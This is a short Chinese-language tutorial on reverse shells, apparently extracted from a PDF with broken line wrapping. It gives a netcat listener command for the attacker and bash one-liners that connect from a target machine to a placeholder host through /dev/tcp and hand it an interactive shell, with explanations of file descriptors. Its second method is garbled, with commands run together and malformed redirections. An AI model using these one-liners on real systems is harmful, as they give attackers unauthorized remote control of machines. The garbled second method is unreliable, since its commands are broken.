反弹 shell
1203624614
一、bash 反弹
1.1--攻击者执行监听
nc -lvp port
1.2--目标机执行以下方法
方法一:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1 #bash -i
打 开 一 个 交 互 的
bash#>&
将 标 准 错 误 输 出 重 定 向 到 标 准 输 出
#/dev/tcp/x.x.x.x/port
意为调用
socket,
建立
socket
连接
,
其中
x.x.x.x
为要反
弹到的主机
ip
,
port
为端口
#0>&1
标准输入重定向到标 准 输 出,实现 你 与 反弹出来 的
shell
的交互
注:/dev/tcp/ 是 Linux 中的一个特殊设备,打开这个文件就相当于发出了一个
socket 调用,建立一个 socket 连接,读写这个文件就相当于在这个 socket 连接中传输
数据。同理,Linux 中还存在/dev/udp/。
linux shell 下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
另外由于不同 Linux 发行版之间的差异,该命令在某些系统上可能并不适用。
方法二:
exec 0&0 2>&00<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196
2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1